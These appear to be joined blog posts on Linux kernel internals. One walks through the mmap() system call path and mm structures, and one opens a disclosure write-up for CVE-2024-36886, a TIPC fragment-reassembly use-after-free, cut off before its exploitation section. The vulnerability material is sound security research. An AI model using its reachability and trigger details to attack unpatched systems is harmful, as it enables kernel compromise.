#3  0xffffffff81f8e8fe in do_syscall_x64 (regs=0xffffc900006bbf58, nr=<optimized out>) at arch/x86/entry/common.c:52
#4  do_syscall_64 (regs=0xffffc900006bbf58, nr=<optimized out>) at arch/x86/entry/common.c:83
#5  0xffffffff82000130 in entry_SYSCALL_64 () at arch/x86/entry/entry_64.S:121

Not much happens when we return back to do_mmap(), other than deciding how many pages, if any, need to be populated, before returning to vm_mmap_pgoff(). This function will then drop the mmap write lock and do any relevant userfaultfd and population bits.

Although out of scope, populating a mapping essentially involves doing what we’re going to cover in the next section (writing to memory) now, instead of waiting to access it.

Then we’re pretty much back in userspace, with a shiny new (or merged) mapping!

Summary

It’s only been, uh, 6000 words or so but just like that we’ve covered this line of code:

addr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);

We did a whistle-stop (?!) tour of the mmap() system call, focusing on how private, anonymous mappings are created and managed by the kernel.

We got some first hand experience of how the struct mm_struct helps manages a processes memory, including the mm->mm_mt tree which tracks the memory areas within the processes virtual address space, which are represented by struct vm_area_struct.

We also dived into some implementation details, covering some of the security mechanisms and checks, how unused addresses for new mappings are found and the different cases that need to be considered when mapping a new region.

1. If you’re curious why mmap_min_addr is a thing, this mitigation was added way back in 2009 for 2.X kernels. For context then, check out this post from 2009 on bypassing it. For a bonus, there was a semi recent P0 post about modern NULL ptr deref exploitation.
2. https://www.kernel.org/doc/html/next/userspace-api/mseal.html

Next Time

Wow, I may have got a bit lost in the sauce for this one (sorry)… Hopefully this is useful for someone. This time we covered the first portion of our simple program: mapping memory. Next time, we’ll move onto writing to memory. Buckle up, as that’ll involve a deep dive into how the kernel does all things (*specifically pertaining to our case study) paging, starting with page faults and going from there (wish me luck).

That said, I think my next post might be more exploitation focused, both for my own sanity after this 6000 word linternals dump and also as it’s been a while since I published some security stuff. Anyways, like I said, I’m hoping this post bordered more on the “in depth but verbose walkthrough of linux internals” and not “mad ramblings of someone who overcommitted to an ambitious series”.

As always feel free to @me (on X, Bluesky or less commonly used Mastodon) if you have any questions, suggestions or corrections :)

For those of you unfamiliar with the series (or have understandably forgotten that it existed), I’ve covered several topics relating to kernel memory management previously:

• The “Virtual Memory” series of posts discusses the differences between physical and virtual memory, exploring both the user and kernel virtual address spaces
• The series on “Memory Allocators” covers the role of memory allocators in general before moving onto to detailing the kernel’s page and slab allocators

This post might be a little different, as I’m writing this introduction before I’ve actually planned 100% what I’ll be writing about. I know I want to explore the memory management (mm) subsystem in more detail, building on what we’ve covered so far, but the issue is…

There’s a LOT to this subsystem, it’s integral to the kernel and interacts with lots of other components. This had me thinking - how do I cover this gargantuan, messy topic in a structured and accessible way?! Where do I begin?? What do I cover???

My plan is to take a leaf out of how I would normally approach researching a new topic like this: start with a high level action (e.g. what the user sees) and follow the source, building up an understanding of the relevant structures and API as we go.

So we’ll take a simple action - mapping and writing to some (anonymous) memory in userspace - and see how deep we can go into the kernel, exploring what is actually going on under the hood. Hopefully this will provide an interesting and informative read, giving some insights on some of the key structures and functions of the kernel’s mm subsystem.

🐧

This post is based on the latest kernel at the time of writing, 6.11.5, and x86_64.

Contents

• What is Memory Management?
• Overview of The MM Subsystem
  • Representing Memory
  • Allocating Memory
  • Mapping Memory
  • Managing Memory
• Getting Lost in The Source
• Mapping Memory
  • Entering The Kernel
  • __x64_sys_mmap()
  • ksys_mmap_pgoff()
  • vm_mmap_pgoff()
    • Fetching Our mm_struct
    • A Bit Of Security
    • Locking
• Next Time

What is Memory Management?

So before we get stuck into the nitty-gritty details, let’s talk about what we mean by memory management. Fortunately, unlike some of the topics we’ve covered (I’m looking at you SLUB), this one’s fairly self explanatory: it’s about managing a system’s memory.

Memory, in this sense, covers the range of storage a modern system may use: HDDs and SSDs, RAM, CPU registers and caches etc. Managing this involves providing representations of the various types of memory and means for the kernel and userspace to efficiently access and utilise them.

Let’s take the everyday (and oversimplified) example of running a program on our computer. We can see involvement of memory management every step of the way:

• First, the program itself is stored on disk and must be read
• It is then loaded into RAM, where the physical address in memory is mapped into our process’ virtual address space; commonly loaded data will make use of caches
• We’ve talked about how the kernel and userspace have their own virtual address spaces, with their own mappings and protections which need to be managed
• Then we have the execution of the code itself which will make use of various CPU registers, it will also need to ask the kernel to do privileged things via system calls, so we also need to consider the transition between userspace and the kernel!

Hopefully this highlights how fundamental the memory management subsystem is and gives a glimpse at its many responsibilities.

Overview of The MM Subsystem

Okay, what does this actually look like? The kernel has several core subsystems, one of which is the memory management subsystem. Looking at the kernel source tree, this is located in the aptly named [mm/](https://elixir.bootlin.com/linux/v6.11.5/source/mm) subdirectory.

I figured we could highlight some of the key files in there to give a sense of the subsystems role and structure in a more tangible context. Like many of my decisions, this turned out to be harder than I thought, but we’ll give it a go.

Representing Memory

To be able to manage memory, we need to be able represent it in a way the kernel can work with. There are a number of key structures used by the [mm/](https://elixir.bootlin.com/linux/v6.11.5/source/mm) subsystem, many of which can be found in include/linux/mm_types.h. This includes:

• Representations for chunks of physically contiguous memory ([struct page](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/mm_types.h#L72)) and the tables used to organise how this memory is accessed.
• The [struct mm_struct](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/mm_types.h#L779) provides a description of a process’ virtual address space, including its different areas of virtual memory ([struct vm_area_struct](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/mm_types.h#L664)).
• The [mm_struct](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/mm_types.h#L779) also includes a pointer to the upper most table ([pgd_t * pgd](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/mm_types.h#L806)) which is used to map our process’ virtual addresses to a specific page in physical memory.

Allocating Memory

With our memory represented, we need a way to actually make use of it! The various allocation mechanisms fall under the memory management subsystem, providing ways to manage the pool of available physical memory and allocate it to be used. This includes:

• The page allocator ([mm/page_alloc.c](https://elixir.bootlin.com/linux/v6.11.5/source/mm/page_alloc.c)) for allocating physically contiguous memory of at least [PAGE_SIZE](https://elixir.bootlin.com/linux/v6.11.5/source/arch/x86/include/asm/page_types.h#L11).
• The slab allocator for the efficient allocation of (physically contiguous) objects, via the [kmalloc()](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/slab.h#L687) API. [mm/slab.h](https://elixir.bootlin.com/linux/v6.11.5/source/mm/slab.h) and [mm/slab_common.c](https://elixir.bootlin.com/linux/v6.11.5/source/mm/slab_common.c) define the common API, while the SLUB implementation can be found at [mm/slub.c](https://elixir.bootlin.com/linux/v6.11.5/source/mm/slub.c).
• [mm/vmalloc.c](https://elixir.bootlin.com/linux/v6.11.5/source/mm/vmalloc.c) provides an alternative API for allocating virtually contiguous memory and is used for large allocations that may be hard to find physically contiguous space for. E.g. [kvmalloc()](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/slab.h#L817) will [kmalloc()](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/slab.h#L687) but use [vmalloc()](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/vmalloc.h#L144) as a fallback!

Mapping Memory

So far we’ve touched mainly on how to manage physical memory, but as we know there’s a lot more to it than that! Sure, we can map chunks of physical memory into our virtual address space to work on, but what about stuff that sits on disk?

• [mmap(2)](https://man7.org/linux/man-pages/man2/mmap.2.html) ([mm/mmap.c](https://elixir.bootlin.com/linux/v6.11.5/source/mm/mmap.c#L1521)) is one-stop shop for userspace mappings and allows us to map physical memory into our processes’ virtual address space so we can access it. This can be anonymous memory (i.e. just a chunk of physical memory for us to use) or it can also be used to map a previously opened file into physical memory too!
• [mm/filemap.c](https://elixir.bootlin.com/linux/v6.11.5/source/mm/filemap.c) contains some core, generic, functionality for managing file mappings, including the use of a page cache for file data. This can then be utilised by file systems when they [read(2)](https://man7.org/linux/man-pages/man2/read.2.html) or [write(2)](https://man7.org/linux/man-pages/man2/write.2.html) files for example.
• The [ioremap()](https://elixir.bootlin.com/linux/v6.11.5/source/arch/x86/mm/ioremap.c#L322) API ( is used for mapping device memory into the kernel virtual address space. An example would be a GPU kernel driver mapping some GPU memory into the kernel virtual address so it can access it. If you recall the post on the kernel virtual address space, you’ll see that the kernel memory map has a specific region for [ioremap()](https://elixir.bootlin.com/linux/v6.11.5/source/arch/x86/mm/ioremap.c#L322)/[vmalloc()](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/vmalloc.h#L144)’d memory! And why do they share memory? Because under the hood [ioremap()](https://elixir.bootlin.com/linux/v6.11.5/source/arch/x86/mm/ioremap.c#L322) uses the [vmap()](https://elixir.bootlin.com/linux/v6.11.5/source/mm/vmalloc.c#L3404) API…
• The [vmap()](https://elixir.bootlin.com/linux/v6.11.5/source/mm/vmalloc.c#L3404) API allows the kernel to map a set of physical pages to a range of a contiguous virtual addresses (within the vmalloc/ioremap space) space. As we’ve mentioned, this used by both [vmalloc()](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/vmalloc.h#L144) and [ioremap()](https://elixir.bootlin.com/linux/v6.11.5/source/arch/x86/mm/ioremap.c#L322). As a result you can find some functionality for all of them in [mm/vmalloc.c](https://elixir.bootlin.com/linux/v6.11.5/source/mm/vmalloc.c).

Managing Memory

We’ve talked a lot about the building blocks for managing memory, but what about actual high level management of memory? Well there’s plenty of that too!

• There are a number of syscalls found in [mm/](https://elixir.bootlin.com/linux/v6.11.5/source/mm) related to memory management: [mmap(2)](https://man7.org/linux/man-pages/man2/mmap.2.html) and [munmap(2)](https://man7.org/linux/man-pages/man2/mmap.2.html) for managing mappings, [mprotect(2)](https://man7.org/linux/man-pages/man2/mprotect.2.html) for managing access protections of mappings, [madvise(2)](https://man7.org/linux/man-pages/man2/madvise.2.html) for giving the kernel advise on how to handle mapped pages, [mlock(2)](https://man7.org/linux/man-pages/man2/mlock.2.html) and [munlock(2)](https://man7.org/linux/man-pages/man2/mlock.2.html) to un/lock memory in RAM etc.
• We also have other key management functionality such as how to handle when the system runs out of memory ([mm/oom_kill.c](https://elixir.bootlin.com/linux/v6.11.5/source/mm/oom_kill.c)) and the memory control groups (memcgs, [mm/memcontrol.c](https://elixir.bootlin.com/linux/v6.11.5/source/mm/memcontrol.c)) which provide a way to manage the resources available to specific groups of processes.
• [mm/swapfile.c](https://elixir.bootlin.com/linux/v6.11.5/source/mm/swapfile.c) allows us to allocate “swap” files. This allows the kernel to use the a portion of disk space (the swap file) as an extension of physical memory. When physical memory availability is low, the kernel will “swap” out inactive/old pages of physical memory to the swap file in order to free up physical memory.

Getting Lost in The Source

Alright, here’s the plan: we will begin our journey with a simple C program that maps some anonymous memory, writes to it and then unmaps it. Sounds easy enough right?

To refresh, “mapping” memory essentially involves pointing some portion of our processes virtual address space to somewhere in physical memory. This could be a file read into physical memory, but we can also map “anonymous” memory. This is just physical memory that has been allocated specifically for this mapping and wasn’t previously tied to a file. But we’ll get into that more shortly, for now, here’s the code:

#include <sys/mman.h>

int main()
{
    void *addr;

    addr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    *(long*)addr = 0x4142434445464748;

    munmap(addr, 0x1000);
    return 0;
}

So what’s going on here? We map 0x1000 bytes (i.e. a page) of anonymous memory into our virtual address space, pointed to by addr. We then write 8 bytes, 0x4142434445464748, to that address (which points to a page in physical memory). With our work done, we then unmap the anonymous memory and exit.

Okay, now we understand what the program is doing from a user’s perspective - we’re just writing some bytes to some physical memory we allocated. But what’s the kernel actually doing under the hood? The primary API between the userspace and the kernel is system calls, so we can use [strace](https://man7.org/linux/man-pages/man1/strace.1.html) to understand how our little program interacts with the kernel. Perhaps unsurprisingly, it’s not too dissimilar:

> strace ./mm_example
// snip (process setup)
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f487ed24000
munmap(0x7f487ed24000, 4096)            = 0
exit_group(0)
+++ exited with 0 +++

The libc mmap() and munmap() calls are just wrappers around the respective system calls, which we can see here. The only part of the program that doesn’t use system calls is when we write to the memory, but as we’ll soon see, that doesn’t mean the kernel isn’t involved!

Mapping Memory

So let’s start our dive into into the kernel with seeing how memory is mapped.

void *mmap(void addr[.length], size_t length, int prot, int flags,
                  int fd, off_t offset);
int munmap(void addr[.length], size_t length);

[mmap(2)](https://man7.org/linux/man-pages/man2/mmap.2.html) is the system call which “creates a new mapping in the virtual address space of the calling process”, for usage information check out the man page.

In our case we’re creating a mapping of 0x1000 bytes, AKA PAGE_SIZE. We want to be able to read and write to it, so have specified the PROT_READ | PROT_WRITE protection flags. As we touched on before, we’re not mapping a file or anything, so we specify MAP_ANONYMOUS - we just want to map a page of unused physical memory.

We also specify MAP_PRIVATE, which in the context of an anonymous mapping means that this mapping won’t be shared with other processes, for example if we fork a child process. More broadly speaking it means “Updates to the mapping are not visible to other processes mapping the same file, and are not carried through to the underlying file.” [1].

Finally, because it’s an anonymous mapping the file descriptor and offset fields are ignored (some implementations require the fd to be -1, so that’s why we set it) as we’re not mapping a file in which we might want to map from a specific offset within.

Entering The Kernel

Okay, so we understand the system call from a userspace perspective, how do we go about understanding how it’s implemented? Well, without going into detail on how system calls work, we can generally find out a system calls “entry point” in the kernel by grepping the source for SYSCALL_DEFINE.*<syscall name>:

SYSCALL_DEFINE6(mmap, unsigned long, addr, unsigned long, len,
		unsigned long, prot, unsigned long, flags,
		unsigned long, fd, unsigned long, off)
{
	if (off & ~PAGE_MASK)
		return -EINVAL;

	return ksys_mmap_pgoff(addr, len, prot, flags, fd, off >> PAGE_SHIFT);
}

arch/x86/kernel/sys_x86_64.c (v6.11.5)

Check out the macros over in [include/linux/syscalls.h](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/syscalls.h) if you’re curious; this will also explain how to figure out the actual symbol for kernel debugging (spoiler: it’s __x64_sys_<name> in our case).

That said, [mmap(2)](https://man7.org/linux/man-pages/man2/mmap.2.html) was a terrible example for this little auditing tidbit as there’s actually a lot of results for SYSCALL_DEFINE.*mmap. This is due to architecture specific implementations and legacy versions. If you wanted to be extra sure you can compare the arguments and architecture, or even whip out a debugger and break further in (e.g. on [do_mmap()](https://elixir.bootlin.com/linux/v6.11.5/source/mm/mmap.c#L1255)) [2] and check the back trace:

(gdb) bt
#0  do_mmap (file=file@entry=0x0 <fixed_percpu_data>, addr=addr@entry=0, len=len@entry=8192, prot=prot@entry=3, flags=flags@entry=34, 
    pgoff=pgoff@entry=0, populate=0xffffc900004f7d08, uf=0xffffc900004f7d28) at mm/mmap.c:1408
#1  0xffffffff81890ae1 in vm_mmap_pgoff (file=file@entry=0x0 <fixed_percpu_data>, addr=addr@entry=0, len=len@entry=8192, prot=prot@entry=3, 
    flag=flag@entry=34, pgoff=pgoff@entry=0) at mm/util.c:551
#2  0xffffffff819139db in ksys_mmap_pgoff (addr=<optimized out>, len=8192, prot=prot@entry=3, flags=34, fd=<optimized out>, 
    pgoff=<optimized out>) at mm/mmap.c:1624
#3  0xffffffff810beff6 in __do_sys_mmap (addr=<optimized out>, len=<optimized out>, prot=3, flags=<optimized out>, fd=<optimized out>, 
    off=<optimized out>) at arch/x86/kernel/sys_x86_64.c:93
#4  __se_sys_mmap (addr=<optimized out>, len=<optimized out>, prot=3, flags=<optimized out>, fd=<optimized out>, off=<optimized out>)
    at arch/x86/kernel/sys_x86_64.c:86
#5  __x64_sys_mmap (regs=0xffffc900004f7f58) at arch/x86/kernel/sys_x86_64.c:86
#6  0xffffffff81008c2e in x64_sys_call (regs=regs@entry=0xffffc900004f7f58, nr=<optimized out>)
    at ./arch/x86/include/generated/asm/syscalls_64.h:10
#7  0xffffffff83be17a6 in do_syscall_x64 (regs=0xffffc900004f7f58, nr=<optimized out>) at arch/x86/entry/common.c:50
#8  do_syscall_64 (regs=0xffffc900004f7f58, nr=<optimized out>) at arch/x86/entry/common.c:80
#9  0xffffffff83e00124 in entry_SYSCALL_64 () at arch/x86/entry/entry_64.S:119

Backtrace from a 5.15 kernel using GDB

__x64_sys_mmap()

SYSCALL_DEFINE6(mmap, unsigned long, addr, unsigned long, len,
		unsigned long, prot, unsigned long, flags,
		unsigned long, fd, unsigned long, off)
{
	if (off & ~PAGE_MASK) // [0]
		return -EINVAL;

	return ksys_mmap_pgoff(addr, len, prot, flags, fd, off >> PAGE_SHIFT /* [1] */);
}

arch/x86/kernel/sys_x86_64.c (v6.11.5)

Now we have a starting point, let’s start exploring! [__x64_sys_mmap()](https://elixir.bootlin.com/linux/v6.11.5/source/arch/x86/kernel/sys_x86_64.c#L79) starts off validating the off field, making sure it’s page aligned (i.e. a multiple of PAGE_SIZE) [0] and then shifting it so that [ksys_mmap_pgoff()](https://elixir.bootlin.com/linux/v6.11.5/source/mm/mmap.c#L1476) gets the page offset (instead off the byte offset) [1].

ksys_mmap_pgoff()

unsigned long ksys_mmap_pgoff(unsigned long addr, unsigned long len,
			      unsigned long prot, unsigned long flags,
			      unsigned long fd, unsigned long pgoff)
{
	struct file *file = NULL;
	unsigned long retval;

	if (!(flags & MAP_ANONYMOUS)) {
		// SNIP, we have this flag set!
	} else if (flags & MAP_HUGETLB) {
		// SNIP, we don't have this flag set!
	}

	retval = vm_mmap_pgoff(file, addr, len, prot, flags, pgoff);
out_fput:
	if (file)
		fput(file);
	return retval;
}

mm/mmap.c (v6.11.5)

Well this one’s nice and simple for us anonymous mappers! As there’s no file involved and we’re not using huge pages[3] we cruise on into [vm_mmap_pgoff()](https://elixir.bootlin.com/linux/v6.11.5/source/mm/util.c#L575).

vm_mmap_pgoff()

Hopefully we’re warmed up now, as we’ve got a bit more going on here!

unsigned long vm_mmap_pgoff(struct file *file, unsigned long addr,
	unsigned long len, unsigned long prot,
	unsigned long flag, unsigned long pgoff)
{
	unsigned long ret;
	struct mm_struct *mm = current->mm;          // [0]
	unsigned long populate;
	LIST_HEAD(uf);

	ret = security_mmap_file(file, prot, flag);  // [1]
	if (!ret) {
		if (mmap_write_lock_killable(mm))    // [2]
			return -EINTR;
		ret = do_mmap(file, addr, len, prot, flag, 0, pgoff, &populate,
			      &uf);
		mmap_write_unlock(mm);
		userfaultfd_unmap_complete(mm, &uf);
		if (populate)
			mm_populate(ret, populate);
	}
	return ret;
}

mm/util.c (v6.11.5)

Fetching Our mm_struct

First we fetch a reference to an [mm_struct](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/mm_types.h#L779) [0], which as we covered earlier, is a key structure that provides a description of a process’ virtual address space.

stolen from some of my old slides

But whose [mm_struct](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/mm_types.h#L779) are we grabbing? The kernel maintains a thread (i.e. a kernel stack) for each userspace process. When a userspace process makes a system call, the kernel executes in the “context” of that process, using it’s associated kernel stack.

Along with its own kernel stack, each process has a [task_struct](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/sched.h#L758)  which keeps important data about the process such as its [mm_struct](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/mm_types.h#L779). When the kernel is executing in a processes’ context, it can fetch the [task_struct](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/sched.h#L758) of the associated userspace process via [current](https://elixir.bootlin.com/linux/v6.11.5/source/arch/x86/include/asm/current.h#L52).

[current](https://elixir.bootlin.com/linux/v6.11.5/source/arch/x86/include/asm/current.h#L52) is a definition for [get_current()](https://elixir.bootlin.com/linux/v6.11.5/source/arch/x86/include/asm/current.h#L44) which returns the [task_struct](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/sched.h#L758) of the “current” kernel thread, from there we can fetch our [mm_struct](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/mm_types.h#L779) from the task’s mm member.

A Bit Of Security

Next up we do some security checks [1], via security_mmap_file(). Generally, if we see a kernel function with the security_ prefix it’s a hook belonging to the kernel’s modular security framework[6].

Looking at the code we’ll notice two definitions[4][5], depending on if [CONFIG_SECURITY](https://cateee.net/lkddb/web-lkddb/SECURITY.html) is enabled. We’ll consider the default case, where it is enabled:

/**
 * security_mmap_file() - Check if mmap'ing a file is allowed
 * @file: file
 * @prot: protection applied by the kernel
 * @flags: flags
 *
 * Check permissions for a mmap operation.  The @file may be NULL, e.g. if
 * mapping anonymous memory.
 *
 * Return: Returns 0 if permission is granted.
 */
int security_mmap_file(struct file *file, unsigned long prot,
		       unsigned long flags)
{
	return call_int_hook(mmap_file, file, prot, mmap_prot(file, prot),
			     flags);
}

/security/security.c (v6.11.5)

If we look for references to mmap_file, we can see these hooks are registered by the [LSM_HOOK_INIT()](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/lsm_hooks.h#L114) macro and that different security modules implement their own mmap_file hooks (e.g. capabilities, apparmor, selinux, smack).

Multiple security modules can be active on a system: the capabilities module is always active, along with any number of “minor” modules and up to one “major” module (e.g. apparmor, selinux). We can check which one’s are active via /sys/kernel/security/lsm, the output on my VM is:

$ cat /sys/kernel/security/lsm
lockdown,capability,landlock,yama,apparmor

Of these, the capability and apparmor security modules both define hooks for mmap_file. In this case, both hooks will be run when security_mmap_file() is called.

I hope that was interesting, because in our example neither of these checks actually do anything. Capabilities’ [cap_mmap_file()](https://elixir.bootlin.com/linux/v6.11.5/source/security/commoncap.c#L1436) always returns a success and apparmor’s [apparmor_mmap_file()](https://elixir.bootlin.com/linux/v6.11.5/source/security/apparmor/lsm.c#L582) only does checks if a file is specified.

Locking

Before we delve another call deeper into the mm subsystem, let’s quickly talk about locking. The call to [do_mmap()](https://elixir.bootlin.com/linux/v6.11.5/source/mm/mmap.c#L1255) is protected by the mmap write lock [2]:

unsigned long vm_mmap_pgoff(struct file *file, unsigned long addr,
	unsigned long len, unsigned long prot,
	unsigned long flag, unsigned long pgoff)
{
// SNIP
		if (mmap_write_lock_killable(mm))
			return -EINTR;
		ret = do_mmap(file, addr, len, prot, flag, 0, pgoff, &populate,
			      &uf);
		mmap_write_unlock(mm);

mm/util.c (v6.11.5)

Locking is extremely important within the kernel and is used to protect shared resources by serialising access or prevent concurrent writes. Insufficient locking can lead to all sorts of undefined behaviour and security issues.

[mmap_write_lock_killable()](https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/mmap_lock.h#L117) provides a wrapper for the mm->mmap_lock, which is a R/W semaphore. In laymans term, multiple “readers” can take this lock (i.e. if the calling code is just planning to read the protected resource) or a single writer can [7].

So what does the mmap lock actually protect? That’s a great question and I’m not sure there’s a definitive, detailed “specification” or anything for this (?). More generally though, it protects access to a processes address space. We’ll understand more about what that entails as we delve deeper, but think add/changing/removing mappings as well as other fields within the mm structure too [8].

For the curious, the _killable suffix indicates that the process can be killed while waiting for the lock[9][10]. In which case the function returns an error, which is caught here.

1. https://man7.org/linux/man-pages/man2/mmap.2.html
2. If you’re testing this at home, be mindful that other places will call do_mmap(), particularly when running a program
3. https://docs.kernel.org/admin-guide/mm/hugetlbpage.html
4. https://elixir.bootlin.com/linux/v6.11.5/source/include/linux/security.h#L1053
5. https://elixir.bootlin.com/linux/v6.11.5/source/security/security.c#L2849
6. https://docs.kernel.org/admin-guide/LSM/index.html
7. Checkout Linux Inside’s deep dive into semaphores here.
8. LWN has a good article, “The ongoing search for mmap_lock scalability” (2022), on the importance of the mmap_lock and attempts to scale it
9. The _killable variant for rw semaphores was actually added in 2016, you can checkout the initial patch series for details
10. “The Linux Kernel Locking API and Shared Objects” (2021) by Pakt is a nice resource on locking if you want to dive into the topic a bit more

Next Time

Hopefully this isn’t too much of a cliff hanger, but this post has been in my drafts for far too long now and I fear if I don’t post it soon it’ll never get finished 💀.

I went for a bit of a different approach with this topic, due to the scope of the mm subsystem. The aim was to use a simple case study to provide some structure and context to an otherwise complex topic. I also wanted to present an approach and workflow that could perhaps be transferable to researching other parts of the kernel, if that makes sense?

If folks are interested in a part 2, we’ll continue to delve deeper into the mm subsystem, carrying on where we left off with do_mmap(). We’ve barely scratched the surface so far! I’d love to go into more detail on how mappings are represented and managed within the kernel and then move onto paging and who knows what other topics we stumble into.

As always feel free to @me (on X, Bluesky or less commonly used Mastodon) if you have any questions, suggestions or corrections :)

I found this while playing around with syzkaller as part of the research for my talk; I felt like it would only be fair to find some bugs to share if I’m doing a talk about it :)

I picked the TIPC protocol for a few reasons: it had low coverage, net surface is fun, it’s not enabled by default (not out here trying to find critical RCEs for a slide example) plus I have some previous experience working with the protocol.

In this post I’m mainly going to be talking about the vulnerability itself, remediation and maybe I’ll go a little bit into exploitation cos I can’t help myself. If I can find the time, I’d love to do a future post talking more about the discovery process and exploitation.

Contents

• Overview
  • Timeline
• Background Stuff
  • net/ Basics
    • struct sk_buff
    • struct skb_shared_info
  • TIPC Primer
• The Vulnerability
  • Exploring The Call Trace
  • Examining tipc_buf_append()
  • Variations
• Exploitation
• Fix + Remediation
• Wrapup

Overview

The vulnerability allows a local, or remote attacker, to trigger a use-after-free in the TIPC networking stack on affected installations of the Linux kernel.

Only systems with the TIPC module built (CONFIG_TIPC=y/CONFIG_TIPC=m) and loaded are vulnerable. Additionally, in order to be vulnerable to a remote attack the system must have TIPC configured on an interface reachable by an attacker.

The flaw exists in the implementation of TIPC message fragment reassembly, specifically tipc_buf_append(). The function carries out the reassembly by chaining the fragmented packet buffers together. It takes the first fragment as the head buffer and then processes subsequent fragments sequentially, adding their packet buffers onto the head buffer’s chain.

The vulnerability occurs due to a missing check in the error handling cleanup. On error, the reassembly will bail, freeing both the head buffer (and its chained buffers) and the latest fragment buffer currently being processed. If the latest fragment buffer has already been added to the head buffer’s chain at this point, it will lead to a use-after-free.

The vulnerability was introduced in commit 1149557d64c9 (Mar 2015) and fixed in commit 080cbb890286 (May 2024), affecting kernel versions 4 through to 6.8.

It was assigned ZDI-24-821 and CVE-2024-36886 (shoutout to the insane description formatting on that one).

Timeline

• 2024-03-23: Case opened with ZDI
• 2024-04-25: Case reviewed by ZDI
• 2024-04-25: Case disclosed to the vendor
• 2024-05-02: Fix published by the vendor
• 2024-06-20: Coordinated public release of ZDI advisory

Background Stuff

Before we dive into the juicy details, I’m going to cover some background information to provide some additional context to the vulnerability. Feel free to skip this if you’re already familiar with the networking subsystem and TIPC basics!

net/ Basics

So to kick things off lets try and give a bit of background on some of the networking subsystem fundamentals, as this is where the TIPC protocol is implemented!

I say try, because this subsystem is pretty complex and there’s a lot of ground to cover. But in short, the networking subsystem does what it says on the tin: provides networking capability to the kernel. And it does it in way which is modular and extensible, providing a core API to implement various networking devices, protocols and interfaces.

struct sk_buff

One of the fundamental structures that the kernel provides is [struct sk_buff](https://elixir.bootlin.com/linux/v6.7.4/source/include/linux/skbuff.h#L842) which represents a network packet and its status. The structure is created when a kernel packet is received, either from the user space or from the network interface.[3]

The kernel documentation honestly does a great job unpacking this rather complicated structure, so I’d recommend checking that out (up to the checksum section at least).

Essentially, struct sk_buff itself stores various metadata and the actual packet data is stored in associated buffers. A large part of the complexity surrounding the structure is how these buffers, and the relevant pointers to them, are accessed and manipulated.

struct skb_shared_info

One of the features baked into this core API is packet fragmentation, the idea that a protocol’s data may be split across several packets - so we have a situation where some data is fragmented across the data buffers of several struct sk_buffs.

This is where [struct skb_shared_info](https://elixir.bootlin.com/linux/v6.7.4/source/include/linux/skbuff.h#L572) comes in!

/* This data is invariant across clones and lives at
 * the end of the header data, ie. at skb->end.
 */
struct skb_shared_info {
	__u8		flags;
	__u8		meta_len;
	__u8		nr_frags;
	__u8		tx_flags;
	unsigned short	gso_size;
	/* Warning: this field is not always filled in (UFO)! */
	unsigned short	gso_segs;
	struct sk_buff	*frag_list;
	struct skb_shared_hwtstamps hwtstamps;
	unsigned int	gso_type;
	u32		tskey;

	/*
	 * Warning : all fields before dataref are cleared in __alloc_skb()
	 */
	atomic_t	dataref;
	unsigned int	xdp_frags_size;

	/* Intermediate layers must ensure that destructor_arg
	 * remains valid until skb destructor */
	void *		destructor_arg;

	/* must be last field, see pskb_expand_head() */
	skb_frag_t	frags[MAX_SKB_FRAGS];
};

include/linux/skbuff.h (6.7.4)

Among other things, this allows a packet to keep track of its fragments! Relevant to us is frag_list, used to link struct sk_buff headers together for reassembly.

TIPC Primer

Transparent Inter Process Communication (TIPC) is an IPC mechanism designed for intra-cluster communication, originating from Ericsson where it has been used in carrier grade cluster applications for many years. Cluster topology is managed around the concept of nodes and the links between these nodes.

TIPC communications are done over a “bearer”, which is a TIPC abstraction of a network interface. A “media” is a bearer type, of which there are four currently supported: Ethernet, Infiniband, UDP/IPv4 and UDP/IPv6.

A local attacker is able to set up a UDP bearer as an unprivileged user via netlink, as demonstrated by bl@sty during his work on CVE-2021-43267[1]. However, a remote attacker is restricted by whatever bearers are already set up on a system.

TIPC messages have their own header, of which there are several formats outlined in the specification[2]. A common theme is the concept of message “user” which defines their purpose (see “Figure 4: TIPC Message Types”[2]) and can be used to infer the format of the TIPC message.

There is a handshake to establish a link between nodes (see “Link Creation”[2]). An established link is required to reach the vulnerable code. This essentially involves sending three messages to: advertise the node, reset the state and then set the state.

1. Exploiting CVE-2021-43267
2. TIPC Protocol Documentation
3. https://linux-kernel-labs.github.io/refs/heads/master/labs/networking.html#linux-networking
4. https://docs.kernel.org/networking/skbuff.html

The Vulnerability

🤓

For this example I’m going to be using assuming a local attacker interacting with message fragmentation over a UDP bearer, after establishing a link, on a 6.7.4 kernel.

The TIPC protocol features message fragmentation, where a single TIPC message can be split into fragments and sent to its destination via several packets:  

When a message is longer than the identified MTU of the link it will use, it is split up in fragments, each being sent in separate packets to the destination node. Each fragment is wrapped into a packet headed by an TIPC internal header […] The User field of the header is set to MSG_FRAGMENTER, and each fragment is assigned a Fragment Number relative to the first fragment of the message. Each fragmented message is also assigned a Fragmented Message Number, to be present in all fragments. […] At reception the fragments are reassembled so that the original message is recreated, and then delivered upwards to the destination port. [1]

